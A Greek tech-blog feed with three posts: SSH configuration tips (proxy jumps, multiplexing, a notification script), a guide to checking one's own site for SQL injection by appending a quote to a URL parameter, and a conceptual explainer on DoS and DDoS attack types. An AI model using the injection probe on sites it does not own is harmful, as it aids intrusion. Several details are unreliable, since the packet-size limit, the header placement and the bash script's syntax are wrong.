Οι ακόλουθες ρυθμίσεις, όμως, θα αποτύγχαναν…


...
Host lab-pc
ProxyCommand ssh -q lab-srv -W lab-workstation3
User spiral
Port 32128


Η μέθοδος που παρουσιάσαμε θα μπορούσε να επεκταθεί πανεύκολα, για την αυτοματοποίηση περισσότερων συνδέσεων. Φανταστείτε την περίπτωση που θέλουμε να συνδεθούμε σ’ ένα μηχάνημα της δουλειάς, που βρίσκεται σε κάποιο υποδίκτυο, μέσα σε ένα άλλο υποδίκτυο του εταιρικού δικτύου. Χωρίς τον αυτοματισμό θα απαιτούνταν τέσσερις συνδέσεις: Μία προς το gateway ολόκληρου του δικτύου της δουλειάς, μία προς το gateway του πρώτου υποδικτύου, μία προς το gateway του “εμφωλευμένου” υποδικτύου και μία ακόμα προς το μηχάνημα-προορισμό. Όλα αυτά θα μπορούσαν να αυτοματοποιηθούν με ένα σύνολο ρυθμίσεων σαν το ακόλουθο:


Host work-gateway
HostName some-company-srv.gr
Port 34522
User pvar

Host rnd-subnet-gateway
ProxyCommand ssh -q work-gateway -W 192.168.1.100:32128
User pvar

Host devs-subnet-gateway
ProxyCommand ssh -q rnd-subnet-gateway -W 10.0.0.50:44156
User pvar

Host lab-pc
ProxyCommand ssh -q devs-subnet-gateway -W 192.168.1.27:2222
User spiral


Πριν προχωρήσουμε σε άλλα θέματα, αξίζει να αναφέρουμε μια ενδιαφέρουσα ιδέα. Μπορεί να σκεφτόσαστε ότι το σενάριο των αλλεπάλληλων συνδέσεων είναι αρκετά εξεζητημένο και ότι το τέχνασμα που παρουσιάσαμε είναι άχρηστο για εσάς. Ε, λοιπόν, υπάρχει ένας τρόπος να το αξιοποιήσουν σχεδόν όλοι, ακόμα κι αν δεν έχουν πρόσβαση σε εταιρικά δίκτυα, σε εργαστήρια κ.λπ. Σκεφτείτε την περίπτωση που συντηρείτε μερικά VPS, για διάφορες δουλειές ή και δοκιμές. Ένας ανορθόδοξος τρόπος να αυξήσετε την ασφάλειά τους θα ήταν να ρυθμίσετε κατάλληλα το firewall του καθενός, ώστε να δέχεται συνδέσεις SSH μόνον από ένα συγκεκριμένο VPS. Για παράδειγμα, αν έχετε τρεις servers με τα ονόματα VPS1, VPS2 και VPS3, θα μπορούσατε να τους ρυθμίσετε ώστε οι VPS2 και VPS3 να δέχονται συνδέσεις SSH μόνον από τον VPS1. Με αυτόν τον τρόπο, οι VPS2 και VPS3 θα είναι ελαφρώς πιο προστατευμένοι, ενώ εσείς θα μπορείτε να συνδεθείτε πανεύκολα, αξιοποιώντας την τεχνική που παρουσιάσαμε και το VPS1 ως ενδιάμεσο σκαλοπάτι. Ακόμα κι αν καταφέρει κανείς να εισβάλει στο VPS1, οι άλλοι δύο servers θα παραμείνουν ασφαλείς, αφού το ιδιωτικό κλειδί για τη σύνδεση θα βρίσκεται μόνο στο δικό σας μηχάνημα.

Ανακύκλωση
Με όλα τα κολπάκια που έχουμε δει ως τώρα, ενδέχεται να σας ανοίξαμε την όρεξη. Ακόμα κι αν μέχρι πρότινος δεν αξιοποιούσατε ιδιαίτερα τις συνδέσεις SSH, είναι πολύ πιθανό να αρχίσετε τώρα. Εμείς, για παράδειγμα, έχουμε αρχίσει ήδη να σκεφτόμαστε scripts που δημιουργούν αντίγραφα ασφαλείας σε απομακρυσμένα μηχανήματα, διανέμουν και διαχειρίζονται τον κώδικα που αναπτύσσουμε από κοινού με άλλους χρήστες, φροντίζουν για την αυτόματη ενημέρωση/αναβάθμιση των servers και πάει λέγοντας. Μη νομίζετε ότι υπερβάλλουμε. Η χρήση του SSH σε τέτοιες εργασίες προσφέρει αυξημένη ασφάλεια και αξιοπιστία. Το μόνο μειονέκτημα που θα μπορούσε να εντοπίσει κανείς αφορά στην επιβάρυνση του δικτύου και του συστήματος, που επιφέρει η διαρκής και αυτοματοποιημένη πραγματοποίηση συνδέσεων. Αυτή η επιβάρυνση είναι αμελητέα όταν πραγματοποιούμε συνδέσεις προς μηχανήματα του ίδιου τοπικού δικτύου, αλλά αρχίζει να γίνεται αισθητή όταν συνδεόμαστε σε απομακρυσμένα συστήματα, με περιορισμένους πόρους και αργή σύνδεση.

Το SSH προσφέρει μια αποδοτική λύση γι’ αυτό το πρόβλημα, που ακούει στο όνομα SSH multiplexing. Με απλά λόγια, πρόκειται για τη διατήρηση των συνδέσεών μας στο υπόβαθρο του συστήματος, ακόμα και όταν ζητάμε τον τερματισμό τους. Όταν επιχειρούμε μια σύνδεση που είχαμε πραγματοποιήσει νωρίτερα, η εγκαθίδρυσή της πραγματοποιείται σχεδόν ακαριαία! Στην πραγματικότητα δεν δημιουργείται νέα σύνδεση, αλλά ενεργοποιείται και επιστρέφει στο προσκήνιο η παλιά. Κι αν για κάποιο λόγο ζητήσουμε τη δημιουργία μιας πρόσθετης σύνδεσης με τα ίδια χαρακτηριστικά, το SSH θα αξιοποιήσει τα αποθηκευμένα δεδομένα ώστε να παρακάμψει αρκετά στάδια της αρχικοποίησης της σύνδεσης. Με αυτόν τον τρόπο, η δημιουργία συνδέσεων που είχαν πραγματοποιηθεί και νωρίτερα επιταχύνεται σε μεγάλο βαθμό. Προκειμένου να ενεργοποιήσουμε το σχετικό μηχανισμό, πρέπει πρώτα να δημιουργήσουμε έναν κατάλογο για την αποθήκευση των δεδομένων των συνδέσεων:


mkdir ~/.ssh/tmp
chmod 700 ~/.ssh/tmp


Αμέσως μετά τη δημιουργία είναι φρόνιμο να τροποποιήσουμε τα δικαιώματα πρόσβασης. Όπως βλέπετε, απαγορεύουμε κάθε ενέργεια στους υπόλοιπους χρήστες και επιτρέπουμε τα πάντα για το δικό μας λογαριασμό και μόνο. Αυτό το κάνουμε γιατί τα αρχεία που θα τοποθετούνται στο συγκεκριμένο κατάλογο θα περιλαμβάνουν κρίσιμα δεδομένα για τις συνδέσεις μας κι εν δυνάμει ευαίσθητα. Στη συνέχεια μπορούμε να ανοίξουμε το αρχείο ρυθμίσεων (~/.ssh/config) και να ενεργοποιήσουμε την “ανακύκλωση”, προσθέτοντας τις ακόλουθες γραμμές:


Host *
ControlMaster auto
ControlPath ~/.ssh/tmp/%h-%r-%p
ControlPersist 900


Το ControlPath προσδιορίζει τη θέση και τη μορφή των ονομάτων των αρχείων που δημιουργούνται για κάθε σύνδεση. Τα %h, %r και %p αντικαθίστανται αυτόματα από το όνομα του μηχανήματος στο οποίο έχουμε συνδεθεί, το username που χρησιμοποιήσαμε για τη σύνδεση και τη δικτυακή θύρα του απομακρυσμένου συστήματος. Έτσι, εξασφαλίζουμε ότι τα αρχεία που δημιουργούνται έχουν μοναδικά ονόματα, που προσδιορίζουν πλήρως την εκάστοτε σύνδεση. Το μέγεθος ControlPersist αποτελεί το χρονικό διάστημα κατά το οποίο θα διατηρείται στο δίσκο κάθε ανενεργή σύνδεση. Η μονάδα μέτρησης που υπονοείται είναι τα δευτερόλεπτα και κατ’ επέκταση, η τιμή που φαίνεται παραπάνω (900) αντιστοιχεί σε 15 λεπτά. Η επιλογή αυτής της τιμής πραγματοποιήθηκε αυθαίρετα και μπορείτε να την προσαρμόσετε ελεύθερα, ανάλογα με τη φύση των εργασιών σας. Πάντως, επειδή τα δεδομένα που αποθηκεύονται στο δίσκο είναι κρίσιμα, είναι φρόνιμο να μην τα διατηρούμε περισσότερο απ’ όσο χρειάζεται.

Αυτό ήταν όλο! Στο εξής, οι συνδέσεις SSH που πραγματοποιούμε συχνά –όπως και εκείνες που γίνονται σε τακτά χρονικά διαστήματα από τα σκριπτάκια μας–, θα μοιάζουν να εγκαθιδρύονται ακαριαία.

Έξυπνες ειδοποιήσεις
Στο ξεκίνημα του άρθρου κάναμε τη σιωπηρή παραδοχή ότι θα εργαστούμε στο Linux. Αν και όλες οι διανομές περιλαμβάνουν κάποιο παραθυρικό περιβάλλον, μέχρι στιγμής έχουμε εξετάσει κολπάκια και τεχνικές που εφαρμόζονται από τη γραμμή εντολών ενός τερματικού. Κάτι τέτοιο ήταν αναμενόμενο, αφού η κονσόλα προσφέρει μακράν περισσότερη ευελιξία. Αποφασίσαμε μολαταύτα να παρουσιάσουμε μια απλή τεχνική, που κατά κάποιον τρόπο φέρνει τις συνδέσεις SSH στο περιβάλλον γραφικών. Εντάξει, όχι τις ίδιες τις συνδέσεις, αλλά τις σχετικές ειδοποιήσεις (notifications). Για παράδειγμα, φανταστείτε την εμφάνιση μιας ειδοποίησης κάθε φορά που ένα script συνδέεται σε κάποιο μηχάνημα με σκοπό να δημιουργήσει αντίγραφα εφεδρείας. Για να πετύχουμε κάτι τέτοιο, θα επιστρατεύσουμε ένα εργαλείο της γραμμής εντολών που ονομάζεται notify-send. Στις διανομές που βασίζονται στο Debian, το εν λόγω πρόγραμμα βρίσκεται στο πακέτο libnotify-bin. Αν δεν υπάρχει ήδη στο σύστημά μας, μπορεί να εγκατασταθεί ως εξής:


sudo apt-get install libnotify-bin


Το ίδιο πρόγραμμα, στο openSUSE και στις συγγενικές διανομές βρίσκεται στο πακέτο libnotify-tools και η εγκατάστασή του πραγματοποιείται εξίσου εύκολα (sudo zypper install libnotify-tools). Αφού εξασφαλίσουμε ότι το notify-send λειτουργεί κανονικά, μπορούμε να προχωρήσουμε στην κατάλληλη ρύθμιση του SSH. Αφού ανοίξουμε και πάλι το αρχείο ρυθμίσεων (~/.ssh/config), αρκεί να προσθέσουμε τα εξής:


Host *
PermitLocalCommand yes
LocalCommand ~/bin/notify.sh %h %r


Σημειώστε ότι αν το αρχείο ρυθμίσεων περιλαμβάνει ήδη ένα μπλοκ για όλες τις συνδέσεις (Host *), δεν χρειάζεται να δημιουργήσετε και πρόσθετο (δεν θα ήταν κομψό). Αντίθετα, στο υπάρχον μπλοκ μπορείτε να προσθέσετε τις ρυθμίσεις που φαίνονται παραπάνω. Η λειτουργία LocalCommand προβλέπει την εκτέλεση μιας “εντολής” τοπικά (στο δικό μας μηχάνημα), κάθε φορά που πραγματοποιείται μια σύνδεση. Στη συγκεκριμένη περίπτωση η εντολή που καθορίσαμε είναι το script ονόματι notify.sh, που βρίσκεται μέσα στο home directory του λογαριασμού μας και στον κατάλογο bin. Τα μεγέθη %h και %r αντικαθίστανται αυτόματα από το όνομα του εκάστοτε server κι από το όνομα του user account στο απομακρυσμένο σύστημα. Τελικά, κάθε φορά που θα πραγματοποιείται μια σύνδεση SSH, θα εκτελείται αυτόματα το σκριπτάκι notify.sh με παραμέτρους το hostname του server και το username που χρησιμοποιήθηκε για τη σύνδεση.

Νομίζουμε ότι σ’ αυτό το στάδιο έχετε καταλάβει πώς λειτουργεί το συστηματάκι μας. Το notify.sh αποτελεί ένα script δικής μας κατασκευής, τα οποίο επιστρατεύει το πρόγραμμα notify-send για να εμφανίζει ειδοποιήσεις στην επιφάνεια εργασίας. Φυσικά, η εμφάνιση μιας ειδοποίησης για *κάθε* σύνδεση SSH θα ήταν περιττή και εκνευριστική. Επομένως, το notify.sh οφείλει να κάνει κάποιο φιλτράρισμα και να εμφανίζει ειδοποιήσεις μόνο για τις συνδέσεις που παρουσιάζουν ξεχωριστό ενδιαφέρον. Δείτε τη δική μας εκδοχή για το script, για να πάρετε μια ιδέα:


#!/bin/bash

hostname=$1;
username=$2;
title="SSH connection";
body="A new connection to $hostname as $username has been established";
level="low";
icon="/usr/share/icons/gnome/32x32/emblems/emblem-system.png";

[ ! $(tty -s) ] && notify-send -u "$level" -i "$icon""$title""$body";


Ο προγραμματισμός για το κέλυφος BASH ξεφεύγει από το σκοπό του άρθρου, όμως δεν θα δυσκολευτείτε να κατανοήσετε τι συμβαίνει. Οι μεταβλητές hostname και username παίρνουν τις τιμές τους από τις δύο παραμέτρους που παρέχονται στο script κατά την εκτέλεσή του (θυμηθείτε τα μεγέθη %h και %r, που επιστρατεύσαμε στον ορισμό του LocalCommand, μέσα στο αρχείο ρυθμίσεων του SSH). Στη συνέχεια ορίζουμε τέσσερις ακόμα μεταβλητές, που αργότερα χρησιμοποιούνται ως παράμετροι για την εκτέλεση του notify-send. Πιστεύουμε ότι η αποστολή καθεμίας από αυτές είναι αυτονόητη. Θα σας προτείναμε ωστόσο να ρίξετε μια ματιά στο manual page του notify-send, για να κατανοήσετε πλήρως τη λειτουργία του.

Ιδιαίτερο ενδιαφέρον παρουσιάζει η τελευταία γραμμή του κώδικα. Σκεφτείτε ότι το notify.sh εκτελείται στο ίδιο κέλυφος από το οποίο πραγματοποιήθηκε και η αντίστοιχη σύνδεση SSH. Αν αυτό το κέλυφος είναι διαδραστικό (interactive), συμπεραίνουμε ότι η σύνδεση πραγματοποιήθηκε χειροκίνητα (δηλαδή από το χρήστη). Αντίθετα, αν το κέλυφος δεν είναι διαδραστικό (non-interactive), συμπεραίνουμε ότι η σύνδεση πραγματοποιήθηκε από κάποιο script, στο υπόβαθρο. Ο έλεγχος με τον οποίο ξεκινά η τελευταία γραμμή του κώδικα, τσεκάρει ακριβώς αυτό: Αν το notify.sh εκτελείται μέσα σε διαδραστικό κέλυφος ή όχι. Ουσιαστικά, ελέγχουμε αν η αντίστοιχη σύνδεση πραγματοποιήθηκε από το χρήστη ή από κάποιο script. Ο έλεγχος πραγματοποιείται τσεκάροντας την τιμή που επιστρέφει το πρόγραμμα tty (η παράμετρος –s εξασφαλίζει ότι δεν θα τυπωθεί κανένα μήνυμα). Αν αυτή η τιμή είναι μηδέν, το κέλυφος είναι non-interactive. Αν η τιμή είναι μη μηδενική, το κέλυφος είναι interactive. Παρατηρείστε ότι το αποτέλεσμα του σχετικού ελέγχου αντιστρέφεται, με τη χρήση του τελεστή NOT (ο χαρακτήρας του θαυμαστικού). Τελικά, με αυτό το κολπάκι εξασφαλίζουμε ότι θα εμφανίζονται ειδοποιήσεις μόνο για τις συνδέσεις που πραγματοποιούνται από τα διάφορα scripts, στο background. Αν το καλοσκεφτείτε, κάτι τέτοιο είναι απόλυτα λογικό. Η εμφάνιση ειδοποιήσεων για τις συνδέσεις που πραγματοποιούμε μόνοι μας θα ήταν περιττή και ενοχλητική.

Ο κώδικάς που γράψαμε για το notify.sh απέχει από το να είναι ολοκληρωμένος. Καταρχάς, δεν πραγματοποιεί κανέναν έλεγχο για το πλήθος των παραμέτρων, ούτε τσεκάρει για την ύπαρξη του notify-send. Εξάλλου, θα μπορούσε να πραγματοποιεί και πιο έξυπνους ελέγχους (π.χ., σε ποιο μηχάνημα έγινε η σύνδεση και με ποιον λογαριασμό), ώστε να εμφανίζει πιο εύστοχες και κατατοπιστικές ειδοποιήσεις. Γενικότερα, ο κώδικας για το notify.sh είναι γραμμένος πρόχειρα και δεν θα πρέπει να τον χρησιμοποιήσετε ως έχει.



Προσωρινή διακοπή
Για το τέλος αφήσαμε κάτι εξαιρετικά απλό (και ταιριαστό). Μετά από τα περίπλοκα σενάρια δικτύωσης που μελετήσαμε, θυμηθήκαμε κάτι πεζό: Πώς μπορούμε να μεταφέρουμε μια σύνδεση SSH στο υπόβαθρο, ώστε να ελευθερώσουμε την κονσόλα και να την χρησιμοποιήσουμε για κάποια άλλη εργασία; Όπως θα γνωρίζετε, κάτι τέτοιο επιτυγχάνεται με το πάτημα του συνδυασμού [CTRL+Z]. Με αυτόν τον τρόπο, το πρόγραμμα που εκτελούμε μεταφέρεται στο υπόβαθρο και η λειτουργία του τίθεται σε αναστολή. Όταν θελήσουμε να επαναφέρουμε στο προσκήνιο το συγκεκριμένο πρόγραμμα, αρκεί να εκτελέσουμε την εντολή fg (από το foreground). Πολύ απλό, έτσι δεν είναι; Μόνο που αν το δοκιμάσετε μέσα σε μια σύνδεση SSH, θα διαπιστώσετε ότι δεν έχει το αναμενόμενο αποτέλεσμα. Το πάτημα των πλήκτρων, βλέπετε, θα προωθηθεί στο απομακρυσμένο μηχάνημα και δεν θα ληφθεί υπόψη από την κονσόλα του δικού μας μηχανήματος. Για να μη συμβεί αυτή η προώθηση, πρέπει να εισάγουμε μια αλληλουχία χαρακτήρων που πετυχαίνει το λεγόμενο escaping. Συγκεκριμένα, πρέπει να πατήσουμε το πλήκτρο [ENTER] κι αμέσως μετά το χαρακτήρα tilde (την περισπωμένη). Κάνοντας κάτι τέτοιο, θα παρατηρήσετε ότι δεν θα εμφανιστεί τίποτα στην οθόνη. Το SSH, όμως, θα έχει λάβει το μήνυμα κι οτιδήποτε πληκτρολογήσουμε αμέσως μετά, θα μεταβιβαστεί στην κονσόλα του δικού μας συστήματος. Με λίγα λόγια, για την αναστολή μιας σύνδεσης SSH και τη μεταφορά της στο υπόβαθρο, πρέπει να πατήσουμε το πλήκτρο [ENTER], αμέσως μετά τον χαρακτήρα tilde και στη συνέχεια το συνδυασμό πλήκτρων [CTRL+Z].

Πλέον, εκτός από τα διάφορα κόλπα για το χειρισμό των συνδέσεων SSH, γνωρίζετε και το πώς να τις αναστέλλετε. Πιστεύουμε ότι κάπου εδώ η αποστολή μας ολοκληρώθηκε — ή τουλάχιστον ολοκληρώθηκε προς το παρόν.

Είναι το web site σας ασφαλές σε SQL Injection επιθέσεις;

$
0
0



Σύμφωνα με το Wikipedia, το SQL injection είναι μια τεχνική κώδικα injection η οποία ‘εκμεταλλεύεται’ ένα αδύναμο σημείο ασφάλειας που λαμβάνει χώρα στο επίπεδο της βάσης δεδομένων μιας εφαρμογής.


Η ευπάθεια είναι παρούσα όταν η εγγραφή χρήστη έχει φιλτραριστεί λανθασμένα από χαρακτήρες ενσωματωμένους σε SQL statements ή η εγγραφή του χρήστη δεν είναι έντονα δακτυλογραφημένη και έτσι έχουμε ως αποτέλεσμα τη μη σωστή ‘εκτέλεση’ τους. Είναι ένα παράδειγμα μιας περισσότερο γενικότερης κατηγορίας αδύναμων σημείων που μπορεί να συμβεί όταν μια γλώσσα προγραμματισμού είναι μέσα σε μία άλλη. Tα SQL injection attacks είναι γνωστά κ ως SQL insertion attacks. Με απλούς όρους, ο εισβολέας μπορεί να δημιουργήσει μια συγκεκριμένη διεύθυνση URL στο πεδίο ενός website ή web application και να αποσπάσει σημαντικές πληροφορίες από τη βάση δεδομένων όπως το σχέδιο, το σχήμα της βάσης δεδομένων, τις δομές στήλης ή αρχεία τα οποία ενδέχεται να περιέχουν πολύ σημαντικές πληροφορίες, όπως ονόματα χρηστών και κωδικούς. Μια μελέτη δείχνει ότι πάνω από το 60% των web applications που χρησιμοποιούν δυναμικό περιεχόμενο είναι μάλλον ευάλωτα σ’αυτού του είδους την επίθεση. Για να ελέγξετε, αν το website ή το web application σας είναι επιρρεπές στην ‘επίθεση’ αυτή, ακολουθήστε τις απλές οδηγίες παρακάτω:

1. Βρείτε μια διεύθυνση URL στο website ή στο web application σας που μοιάζει με την παρακάτω μορφή:


http://www.yoursite.com/page.php?id=1




2. Έπειτα, τροποποιήστε τη διεύθυνση URL προσθέτοντας το σημείο » ‘ » χωρίς τα εισαγωγικά μπροστά ή πίσω από τον ακέραιο αριθμό. Ελέγξτε το παράδειγμα παρακάτω ως σημείο αναφοράς. Οποιοδήποτε από τα παραδείγματα που περιλαμβάνονται μπορούν να χρησιμοποιηθούν.


http://www.yoursite.com/page.php?id=1'

ή


http://www.yoursite.com/page.php?id='1

3. Τοποθετήστε την τροποποιημένη διεύθυνση URL στο browser σας και ελέγξτε το αποτέλεσμα. Θα υπάρξουν δύο διαφορετικά αποτελέσματα που θα έχουν παραχθεί. Το παραγόμενο αποτέλεσμα θα καθορίσει αν το website ή το web application σας που έχει ελεγχθεί είναι ευάλωτο ή όχι. Αν η σελίδα ‘φορτώσει’ χωρίς κάποιο σφάλμα τότε το website ή το web application σας είναι πιθανό να μην είναι ευάλωτο σε SQL injection attacks. Απ’την άλλη πλευρά, αν η σελίδα δείξει κάποιο σφάλμα όπως αυτό που περιλαμβάνεται ή οποιοδήποτε άλλο, τότε η σελίδα είναι ευάλωτη σ’αυτό το είδος της ‘επίθεσης’.

** SQL query failed ** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'something' at line 8

Μόλις βρεθεί η σελίδα που έχει την ευπάθεια, μπορεί να απομονωθεί και να διορθωθεί. Παρακάτω υπάρχουν κάποιες πηγές που δείχνουν πως μπορούμε να αποτρέψουμε το SQL Injection Attack στα web applications.

How To: Protect From SQL Injection in ASP.NET

SQL Injection: How To Prevent Security Flaws In PHP / MySQL

How To Prevent PHP Website From SQL Injection

SQL Injection – How To Avoid It


Σημαντική σημείωση: Τροποποίηση και δοκιμή της διεύθυνσης URL δεν προκαλεί καμιά βλάβη στη βάση δεδομένων σας, αλλά θα πρότεινα να κάνετε ένα backup σ’όλα τα αρχεία και τη βάση δεδομένων σας πριν τη δοκιμή. Σε περίπτωση που κάτι πάει στραβά, θα μπορείτε να ανακτήσετε τις πληροφορίες σας απ’τα backups

via: www.web-resources.eu 

Denial Of Service (D.O.S.) Επιθέσεις

$
0
0




- Από τον Vampyre

Οι D.O.S. επιθέσεις ή Denial Of Service Επιθέσεις που στα Ελληνικά μεταφράζονται περίπου ως Επίθεση Άρνησης Παροχής Υπηρεσιώνέχουν γίνει κάτι πολύ απλό και καθημερινό στους hackers* και crackers σαν ένα μέσο προς την δόξα και την αναγνώριση σε πολλές ανορθόδοξες (underground) ομάδες στο Internet. Denial Of Service Επίθεση βασικά σημαίνει την διακοπή (άρνηση) της χρήσης του Internet ή/και του δικτύου στους νόμιμους χρήστες του. Αυτό γίνεται δυνατό με μια ηλεκτρονική "επίθεση" (attack) στους παροχείς Internet ή/και στα Websites με αποτέλεσμα την "κατάρρευση" (crash) του συστήματος και την απενεργοποίησή του.

Με άλλα λόγια θα μπορούσε κάποιος να περιγράψει μια Denial Of Service Επίθεση, λέγοντας ότι μια τέτοια επίθεση έχει ως σκοπό να υπερφορτώσει τόσο πολύ το σύστημα-στόχο καταναλώνοντας μνήμη και bandwidth έτσι ώστε να μην είναι σε θέση πλέον να εξυπηρετήσει τους κανονικούς χρήστες του. Αυτό επιτυγχάνεται μέσω της αποστολής πακέτων δεδομένων (data packets) σε υπερβολικά μεγάλο ρυθμό έτσι ώστε το σύστημα-στόχος να αδυνατεί να τα επεξεργαστεί με αποτέλεσμα τις περισσότερες φορές να πρέπει να γίνει επανεκκίνηση (reboot).

Οι πιο συνηθισμένοι τύποι Denial Of Service Επιθέσεων είναι :
Οι επιθέσεις που εκμεταλλεύονται αδυναμίες του πρωτοκόλλου TCP/IP
Οι επιθέσεις που εκμεταλλεύονται αδυναμίες του IPv4
Οι επιθέσεις που προσπαθούν να εξαντλήσουν όλους τους πόρους (resources) - μνήμη, CPU, Bandwidth - του συστήματος στόχου με αποτέλεσμα την διακοπή της λειτουργίας του.

Ας δούμε μερικές D.O.S. επιθέσεις που σχετίζονται με το πρωτόκολλο TCP/IP. Οι πιο γνωστές είναι οι Ping of Death, Teardrop, SYN Attack, Land Attack και Smurf Attack.


Ping of Death: Αυτή η επίθεση είναι πολύ γνωστή και χρησιμοποιούταν παλαιότερα για να κάνει απομακρυσμένα συστήματα να "παγώνουν" (hang) ή ακόμα και να κάνουν αυτόματη επανεκκίνηση (reboot), έτσι ώστε οι χρήστες να μην μπορούν να τα χρησιμοποιήσουν. Αυτό πλέον δεν είναι εφικτό μια και στις μέρες μας σχεδόν όλοι οι Διαχειριστές των Συστημάτων (Systems Administrators) έχουν αναβαθμίσει τα συστήματά τους κάνοντάς τα ασφαλή από τέτοιες επιθέσεις.

Ο τρόπος για να γίνει αυτή η επίθεση είναι να στείλει κάποιος ένα πακέτο data (data packet) που υπερβαίνει το μέγιστο επιτρεπόμενο όριο bytes του πρωτοκόλλου TCP/IP, που είναι 65536. Στέλνοντας ένα πακέτο data (data packet) μεγαλύτερο από αυτό, αμέσως το σύστημα-στόχος πάθαινε κατάρρευση (crash) ή/και "πάγωνε" (hang) ή/και έκανε επανεκκίνηση (reboot). Το Ping Of Death έγινε πολύ δημοφιλές λόγω της ευκολίας στην υλοποίηση του. Επίσης αυτού του τύπου η επίθεση ήταν και είναι ακόμα πολύ δημοφιλής στο IRC (Internet Relay Chat).

Teardrop: Αυτή η επίθεση εκμεταλλεύεται την αδυναμία του πρωτοκόλλου TCP/IP στην επανασύνδεση (reassembly) των πακέτων δεδομένων (data packets) κατά την λήψη τους. Όταν στέλνονται data στο Internet αυτά κατανέμονται σε μικρότερα κομμάτια στην υπολογιστή που κάνει την μετάδοση και συναρμολογούνται πάλι στον υπολογιστή που λαμβάνει. Ας υποθέσουμε ότι θέλουμε να στείλουμε 8000 bytes από έναν υπολογιστή σε έναν άλλον. Δεν θα τα στείλουμε όλα μαζί με μία μετάδοση (transmission) αλλά θα κοπούν σε μικρότερα πακέτα data (data packets) και κάθε πακέτο θα έχει συγκεκριμένο κομμάτι από τα 8000 bytes όπως : πακέτο 1ο θα έχει byte 1 έως byte 1500, πακέτο 2ο θα έχει byte 1501 έως byte 3000, πακέτο 3ο θα έχει byte 3001 έως byte 4000 κ.λ.π.

Αυτά τα πακέτα έχουν στο αρχικό τους κομμάτι (TCP header) ένα πεδίο (offset) που περιγράφει πως θα γίνει η συναρμολόγηση στο σύστημα που θα λάβει τα πακέτα. Στην επίθεση αυτή τα πακέτα που στέλνονται υπερκαλύπτουν το ένα το άλλο με αποτέλεσμα όταν το σύστημα που τα λαμβάνει προσπαθεί να τα συναρμολογήσει (reassembly) παθαίνει κατάρρευση (crash) ή/και "πάγωμα" (hang) ή/και επανεκκίνηση (reboot).

SYN Attack / Land Attack: Αυτές οι δύο επιθέσεις είναι ίδιες με τη διαφορά ότι η SYN attack χρησιμοποιεί ανύπαρκτες διευθύνσεις IP για να αναγκάσει το σύστημα στόχο να περιμένει για πάντα για μια απάντηση από ανύπαρκτη IP διεύθυνση ενώ η Land Attack αντί για ανύπαρκτες IP διευθύνσεις χρησιμοποιεί την IP του συστήματος-στόχου και αυτό έχει ως αποτέλεσμα μια ατελείωτη σειρά (endless loop) επεξεργασίας για το σύστημα. Και οι δύο επιθέσεις έχουν ως αποτέλεσμα, όταν γίνονται μαζικά, κατάρρευση (crash) ή/και "πάγωμα" (hang) ή/και επανεκκίνηση (reboot).

Smurf Attack : Η Smurf attack είναι μια επίθεση όπου στέλνεται ένας υπέρογκος αριθμός από ping requests συνήθως στον router του δικτύου, χρησιμοποιώντας ψεύτικες (spoofed) IP διευθύνσεις μέσα από το ίδιο το δίκτυο. Κάθε φορά που ο router δέχεται ένα Ping request θα το διανείμει (route it) ή θα απαντήσει σε αυτό (echo back), με αποτέλεσμα την υπερφόρτωση (flood) του δικτύου με πακέτα και την διακοπή της λειτουργίας του.

Οι D.O.S. επιθέσεις δεν είναι τίποτα καινούριο στο Internet. Στην πραγματικότητα υπάρχουν και είναι γνωστές εδώ και αρκετά χρόνια. Τον τελευταίο καιρό όμως έχει γίνει ένας μεγάλος αριθμός από D.O.S. επιθέσεις και έχουν καταλήξει να θεωρούνται πιο επιβλαβείς από τις χιλιάδες ιών (viruses)/trojans που κυκλοφορούν στο Internet. Είναι εύκολο να κατανοήσει κανείς ότι στις περιπτώσεις επιθέσεων που περιγράφηκαν πιο πάνω είναι σχετικά εύκολο να βρεθεί ο επιτιθέμενος και να συλληφθεί. Αυτό δεν συμβαίνει όμως στις D.D.O.S. (Κατανεμημένες D.O.S. Επιθέσεις - Distributed D.O.S. Attacks) επιθέσεις οι οποίες έχουν γίνει ιδιαίτερα γνωστές τον τελευταίο χρόνο.


Ας υποθέσουμε ότι μια ομάδα hackers* θέλει να επιτεθεί σε ένα από τα μεγάλα websites (π.χ. yahoo.com, amazon.com, ebay.com κ.λ.π.). Ας υποθέσουμε ότι η ομάδα αποτελείται από 4 άτομα. Κάθε ένας/μία επιτίθεται σε ένα μικρότερο δίκτυο - το οποίο δεν έχει σχέση με τη σελίδα που θέλουν να «χτυπήσουν» - καταλαμβάνοντάς το πλήρως (complete takeover). Κάθε μικρότερο δίκτυο ας υποθέσουμε ότι αποτελείται από 30+ υπολογιστές. Τώρα λοιπόν οι hackers* κάθονται αναπαυτικά ο καθένας στον υπολογιστή του σπιτιού του και χρησιμοποιούν τους ξένους υπολογιστές για να κάνουν την επίθεση, αφού πρώτα έχουν εγκαταστήσει κάποιο εργαλείο D.O.S. attack σε αυτούς. Το αποτέλεσμα είναι 120+ υπολογιστές να κάνουν επίθεση στο συγκεκριμένο site, καταναλώνοντας bandwidth, μνήμη, και CPU. Το τι θα συμβεί εξαρτάται από το σύστημα στόχο. Μπορεί να παρατηρηθεί αργή απόκριση (lag) μέχρι και ολική κατάρρευση (crash). Οι hackers* έχοντας απόλυτο έλεγχο στα μικρότερα δίκτυα σβήνουν κάθε στοιχείο της επέμβασής τους με αποτέλεσμα να είναι αδύνατος ο εντοπισμός τους τις περισσότερες φορές.

Παράδειγμα Κατανεμημένης D.O.S. Επίθέσης - Distributed D.O.S. Attack :

(να σημειωθεί ότι το παράδειγμα είναι αληθινό και μπορείτε να διαβάσετε εδώ λεπτομερή περιγραφή του)

Το παράδειγμα αυτό μπορεί να αποδείξει ότι στις μέρες μας κανείς δεν μπορεί πλέον να νοιώθει ασφαλής και ότι είναι πολύ εύκολο ακόμα και ένα παιδί (script kiddie) να εκτελέσει μια D.D.O.S. attack.


Σύστημα στόχος: grc.com

Ομάδα επίθεσης αποτελούμενη από: 1 άτομο

Μέσα εκτέλεσης D.D.O.S.: Προσωπικοί υπολογιστές με εγκατεστημένα trojans που ελήφθησαν με e-mail ή άλλο τρόπο συνδεδεμένοι σε υψηλής ταχύτητας Internet connections (cable modems, ADSL, ISDN)

Αριθμός Bots*: 474+

Τρόπος επίθεσης: 2.399.237.016 (!!!) Invalid UDP πακέτα

